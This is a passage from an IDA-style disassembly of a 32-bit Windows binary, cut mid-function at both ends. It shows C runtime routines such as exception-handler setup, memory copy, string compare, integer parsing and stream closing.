lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_4129F0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_40D0C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D11D proc near ; DATA XREF: sub_40D0C9+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4121E9
add esp, 20h
pop ebp
retn
sub_40D11D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D142 proc near ; CODE XREF: sub_41242B+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_40D1F6
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_40D1C8
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_481E38
pop ecx
pop ecx
and [ebp+var_34], 0
loc_40D1C8: ; DATA XREF: sub_40D142+3Co
cmp [ebp+var_4], 0
jz short loc_40D1E5
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_40D1EE
; ---------------------------------------------------------------------------
loc_40D1E5: ; CODE XREF: sub_40D142+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_40D1EE: ; CODE XREF: sub_40D142+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_40D142 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1F6 proc near ; DATA XREF: sub_40D142+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_40D219
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_40D266
; ---------------------------------------------------------------------------
loc_40D219: ; CODE XREF: sub_40D1F6+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4121E9
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_40D257
push [ebp+arg_0]
push [ebp+arg_4]
call sub_40D044
loc_40D257: ; CODE XREF: sub_40D1F6+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_40D266: ; CODE XREF: sub_40D1F6+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40D1F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D26B proc near ; CODE XREF: sub_412284+C6p
; sub_41242B+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_40D2C2
loc_40D289: ; CODE XREF: sub_40D26B+52j
cmp esi, 0FFFFFFFFh
jnz short loc_40D293
call sub_412A92
loc_40D293: ; CODE XREF: sub_40D26B+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_40D2A8
cmp ecx, [eax+8]
jle short loc_40D2AD
loc_40D2A8: ; CODE XREF: sub_40D26B+36j
cmp esi, 0FFFFFFFFh
jnz short loc_40D2B9
loc_40D2AD: ; CODE XREF: sub_40D26B+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_40D2B9: ; CODE XREF: sub_40D26B+40j
cmp [ebp+arg_4], 0
jge short loc_40D289
mov eax, [ebp+var_4]
loc_40D2C2: ; CODE XREF: sub_40D26B+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_40D2D6
cmp esi, eax
jbe short loc_40D2DB
loc_40D2D6: ; CODE XREF: sub_40D26B+65j
call sub_412A92
loc_40D2DB: ; CODE XREF: sub_40D26B+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_40D26B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2E8 proc near ; CODE XREF: sub_414568+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_40D300
push [ebp+arg_0]
call sub_417A7E ; RtlUnwind
loc_40D300: ; DATA XREF: sub_40D2E8+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40D2E8 endp
; =============== S U B R O U T I N E =======================================
sub_40D308 proc near ; DATA XREF: sub_40D32A+Ao
; sub_40D392+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_40D329
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_40D329: ; CODE XREF: sub_40D308+10j
retn
sub_40D308 endp
; =============== S U B R O U T I N E =======================================
sub_40D32A proc near ; CODE XREF: sub_412705+Dp
; sub_414568+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_40D308
push large dword ptr fs:0
mov large fs:0, esp
loc_40D347: ; CODE XREF: sub_40D32A:loc_40D382j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40D384
cmp esi, [esp+1Ch+arg_4]
jz short loc_40D384
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40D382
push 101h
mov eax, [ebx+esi*4+8]
call sub_40D3BE
call dword ptr [ebx+esi*4+8]
loc_40D382: ; CODE XREF: sub_40D32A+44j
jmp short loc_40D347
; ---------------------------------------------------------------------------
loc_40D384: ; CODE XREF: sub_40D32A+2Aj
; sub_40D32A+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_40D32A endp
; =============== S U B R O U T I N E =======================================
sub_40D392 proc near ; CODE XREF: sub_412725+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_40D308
jnz short locret_40D3B4
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_40D3B4
mov eax, 1
locret_40D3B4: ; CODE XREF: sub_40D392+10j
; sub_40D392+1Bj
retn
sub_40D392 endp
; =============== S U B R O U T I N E =======================================
sub_40D3B5 proc near ; CODE XREF: sub_4129F0+1Ep
; sub_4129F0+40p
push ebx
push ecx
mov ebx, offset dword_41FC5C
jmp short loc_40D3C8
sub_40D3B5 endp
; =============== S U B R O U T I N E =======================================
sub_40D3BE proc near ; CODE XREF: sub_40D32A+4Fp
; sub_414568+78p
push ebx
push ecx
mov ebx, offset dword_41FC5C
mov ecx, [ebp+8]
loc_40D3C8: ; CODE XREF: sub_40D3B5+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_40D3BE endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40D3D8 proc near ; CODE XREF: sub_40215E+5p
; sub_4022FD+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_40D3D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3F7 proc near ; CODE XREF: sub_4022FD+69p
; sub_4023B8+68p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_40EDD8
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40D436
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40D443
; ---------------------------------------------------------------------------
loc_40D436: ; CODE XREF: sub_40D3F7+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40ECC3
pop ecx
pop ecx
loc_40D443: ; CODE XREF: sub_40D3F7+3Dj
mov eax, esi
pop esi
leave
retn
sub_40D3F7 endp
; =============== S U B R O U T I N E =======================================
sub_40D448 proc near ; CODE XREF: sub_402790+22p
; .nsp0:00417855p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40CD81
pop ecx
retn
sub_40D448 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D460 proc near ; CODE XREF: sub_4027FD+3Ap
; sub_4102F3+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40D480
cmp edi, eax
jb loc_40D5F8
loc_40D480: ; CODE XREF: sub_40D460+16j
test edi, 3
jnz short loc_40D49C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40D4BC
rep movsd
jmp off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
loc_40D49C: ; CODE XREF: sub_40D460+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40D4B4
and eax, 3
add ecx, eax
jmp dword ptr loc_40D4BC+4[eax*4]
; ---------------------------------------------------------------------------
loc_40D4B4: ; CODE XREF: sub_40D460+46j
jmp dword ptr loc_40D5B8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40D4BC: ; CODE XREF: sub_40D460+31j
; sub_40D460+8Ej ...
jmp off_40D53C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40D4D0
dd offset loc_40D4FC
dd offset loc_40D520
; ---------------------------------------------------------------------------
loc_40D4D0: ; DATA XREF: sub_40D460+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40D4BC
rep movsd
jmp off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40D4FC: ; DATA XREF: sub_40D460+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40D4BC
rep movsd
jmp off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40D520: ; DATA XREF: sub_40D460+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_40D4BC
rep movsd
jmp off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40D53C dd offset loc_40D59F ; DATA XREF: sub_40D460:loc_40D4BCr
dd offset loc_40D58C
dd offset loc_40D584
dd offset loc_40D57C
dd offset loc_40D574
dd offset loc_40D56C
dd offset loc_40D564
dd offset loc_40D55C
; ---------------------------------------------------------------------------
loc_40D55C: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40D564: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40D56C: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40D574: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40D57C: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40D584: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40D58C: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40D59F: ; CODE XREF: sub_40D460:loc_40D4BCj
; DATA XREF: sub_40D460:off_40D53Co
jmp off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40D5A8 dd offset loc_40D5B8 ; DATA XREF: sub_40D460+35r
; sub_40D460+92r ...
dd offset loc_40D5C0
dd offset loc_40D5CC
dd offset loc_40D5E0
; ---------------------------------------------------------------------------
loc_40D5B8: ; CODE XREF: sub_40D460+35j
; sub_40D460+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40D5C0: ; CODE XREF: sub_40D460+35j
; sub_40D460+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40D5CC: ; CODE XREF: sub_40D460+35j
; sub_40D460+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40D5E0: ; CODE XREF: sub_40D460+35j
; sub_40D460+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40D5F8: ; CODE XREF: sub_40D460+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40D62C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40D620
std
rep movsd
cld
jmp off_40D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40D620: ; CODE XREF: sub_40D460+1B1j
; sub_40D460+208j ...
neg ecx
jmp off_40D6F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40D62C: ; CODE XREF: sub_40D460+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40D644
and eax, 3
sub ecx, eax
jmp dword ptr loc_40D644+4[eax*4]
; ---------------------------------------------------------------------------
loc_40D644: ; CODE XREF: sub_40D460+1D6j
; DATA XREF: sub_40D460+1DDr
jmp off_40D740[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40D658
dd offset loc_40D678
dd offset loc_40D6A0
; ---------------------------------------------------------------------------
loc_40D658: ; DATA XREF: sub_40D460+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_40D620
std
rep movsd
cld
jmp off_40D740[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40D678: ; DATA XREF: sub_40D460+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40D620
std
rep movsd
cld
jmp off_40D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40D6A0: ; DATA XREF: sub_40D460+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40D620
std
rep movsd
cld
jmp off_40D740[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40D6F4
dd offset loc_40D6FC
dd offset loc_40D704
dd offset loc_40D70C
dd offset loc_40D714
dd offset loc_40D71C
dd offset loc_40D724
off_40D6F0 dd offset loc_40D737 ; DATA XREF: sub_40D460+1C2r
; ---------------------------------------------------------------------------
loc_40D6F4: ; DATA XREF: sub_40D460+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40D6FC: ; DATA XREF: sub_40D460+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_40D704: ; DATA XREF: sub_40D460+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40D70C: ; DATA XREF: sub_40D460+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_40D714: ; DATA XREF: sub_40D460+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40D71C: ; DATA XREF: sub_40D460+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40D724: ; DATA XREF: sub_40D460+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40D737: ; CODE XREF: sub_40D460+1C2j
; DATA XREF: sub_40D460:off_40D6F0o
jmp off_40D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40D740 dd offset loc_40D750 ; DATA XREF: sub_40D460+1B7r
; sub_40D460:loc_40D644r ...
dd offset loc_40D758
dd offset loc_40D768
dd offset loc_40D77C
; ---------------------------------------------------------------------------
loc_40D750: ; CODE XREF: sub_40D460+1B7j
; sub_40D460:loc_40D644j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40D758: ; CODE XREF: sub_40D460+1B7j
; sub_40D460:loc_40D644j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40D768: ; CODE XREF: sub_40D460+1B7j
; sub_40D460:loc_40D644j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40D77C: ; CODE XREF: sub_40D460+1B7j
; sub_40D460:loc_40D644j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_40D460 endp
; =============== S U B R O U T I N E =======================================
sub_40D795 proc near ; CODE XREF: sub_402864+34p
; sub_402864+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_40CCE1
pop ecx
pop ecx
retn
sub_40D795 endp
; =============== S U B R O U T I N E =======================================
sub_40D7A3 proc near ; CODE XREF: sub_40D810+4p
arg_0 = dword ptr 4
push esi
push dword_48343C
call sub_412AE8
mov edx, dword_48343C
pop ecx
mov ecx, dword_483438
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_40D802
push edx
call sub_412AE8
add eax, 10h
push eax
push dword_48343C
call sub_40DB08
add esp, 0Ch
test eax, eax
jnz short loc_40D7E5
retn
; ---------------------------------------------------------------------------
loc_40D7E5: ; CODE XREF: sub_40D7A3+3Fj
mov ecx, dword_483438
sub ecx, dword_48343C
mov dword_48343C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_483438, ecx
loc_40D802: ; CODE XREF: sub_40D7A3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_483438, 4
retn
sub_40D7A3 endp
; =============== S U B R O U T I N E =======================================
sub_40D810 proc near ; CODE XREF: sub_402951+1Ap
; sub_417A5E+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40D7A3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_40D810 endp
; =============== S U B R O U T I N E =======================================
sub_40D822 proc near ; DATA XREF: .nsp0:0041A014o
push 80h
call sub_40CCCF
test eax, eax
pop ecx
mov dword_48343C, eax
jnz short loc_40D843
push 18h
call sub_40EC7A
mov eax, dword_48343C
pop ecx
loc_40D843: ; CODE XREF: sub_40D822+12j
and dword ptr [eax], 0
mov eax, dword_48343C
mov dword_483438, eax
retn
sub_40D822 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40D860 proc near ; CODE XREF: sub_40304D+1Dp
; sub_403A2E+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_40D8AC
loc_40D870: ; CODE XREF: sub_40D860+3Cj
; sub_40D860+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_40D8A4
or al, al
jz short loc_40D8A0
cmp ah, [ecx+1]
jnz short loc_40D8A4
or ah, ah
jz short loc_40D8A0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_40D8A4
or al, al
jz short loc_40D8A0
cmp ah, [ecx+3]
jnz short loc_40D8A4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_40D870
mov edi, edi
loc_40D8A0: ; CODE XREF: sub_40D860+18j
; sub_40D860+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40D8A4: ; CODE XREF: sub_40D860+14j
; sub_40D860+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40D8AC: ; CODE XREF: sub_40D860+Ej
test edx, 1
jz short loc_40D8C8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_40D8A4
inc ecx
or al, al
jz short loc_40D8A0
test edx, 2
jz short loc_40D870
loc_40D8C8: ; CODE XREF: sub_40D860+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_40D8A4
or al, al
jz short loc_40D8A0
cmp ah, [ecx+1]
jnz short loc_40D8A4
or ah, ah
jz short loc_40D8A0
add ecx, 2
jmp short loc_40D870
sub_40D860 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8E4 proc near ; CODE XREF: sub_40450F+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_40EDD8
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40D922
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40D92F
; ---------------------------------------------------------------------------
loc_40D922: ; CODE XREF: sub_40D8E4+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40ECC3
pop ecx
pop ecx
loc_40D92F: ; CODE XREF: sub_40D8E4+3Cj
mov eax, esi
pop esi
leave
retn
sub_40D8E4 endp
; =============== S U B R O U T I N E =======================================
sub_40D934 proc near ; CODE XREF: sub_40D9BF+4p
; sub_415A78+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_40D93C: ; CODE XREF: sub_40D934+34j
cmp dword_422004, 1
jle short loc_40D954
movzx eax, byte ptr [edi]
push 8
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_40D963
; ---------------------------------------------------------------------------
loc_40D954: ; CODE XREF: sub_40D934+Fj
movzx eax, byte ptr [edi]
mov ecx, off_421DF8
mov al, [ecx+eax*2]
and eax, 8
loc_40D963: ; CODE XREF: sub_40D934+1Ej
test eax, eax
jz short loc_40D96A
inc edi
jmp short loc_40D93C
; ---------------------------------------------------------------------------
loc_40D96A: ; CODE XREF: sub_40D934+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_40D97A
cmp esi, 2Bh
jnz short loc_40D97E
loc_40D97A: ; CODE XREF: sub_40D934+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_40D97E: ; CODE XREF: sub_40D934+44j
xor ebx, ebx
loc_40D980: ; CODE XREF: sub_40D934+7Bj
cmp dword_422004, 1
jle short loc_40D995
push 4
push esi
call sub_412B49
pop ecx
pop ecx
jmp short loc_40D9A0
; ---------------------------------------------------------------------------
loc_40D995: ; CODE XREF: sub_40D934+53j
mov eax, off_421DF8
mov al, [eax+esi*2]
and eax, 4
loc_40D9A0: ; CODE XREF: sub_40D934+5Fj
test eax, eax
jz short loc_40D9B1
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_40D980
; ---------------------------------------------------------------------------
loc_40D9B1: ; CODE XREF: sub_40D934+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_40D9BA
neg eax
loc_40D9BA: ; CODE XREF: sub_40D934+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40D934 endp
; =============== S U B R O U T I N E =======================================
sub_40D9BF proc near ; CODE XREF: sub_403E11+45Cp
; sub_403E11+46Bp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40D934
pop ecx
retn
sub_40D9BF endp
; =============== S U B R O U T I N E =======================================
sub_40D9CA proc near ; CODE XREF: sub_40327E+62p
; sub_404475+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_40D9DF
or eax, 0FFFFFFFFh
jmp short loc_40DA19
; ---------------------------------------------------------------------------
loc_40D9DF: ; CODE XREF: sub_40D9CA+Ej
test al, 83h
jz short loc_40DA17
push esi
call sub_412CD7
push esi
mov edi, eax
call sub_412C71
push dword ptr [esi+10h]
call sub_412BBE
add esp, 0Ch
test eax, eax
jge short loc_40DA05
or edi, 0FFFFFFFFh
jmp short loc_40DA17
; ---------------------------------------------------------------------------
loc_40DA05: ; CODE XREF: sub_40D9CA+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_40DA17
push eax
call sub_40CD81
and dword ptr [esi+1Ch], 0
pop ecx
loc_40DA17: ; CODE XREF: sub_40D9CA+17j
; sub_40D9CA+39j ...
mov eax, edi
loc_40DA19: ; CODE XREF: sub_40D9CA+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_40D9CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA20 proc near ; CODE XREF: sub_40327E+43p
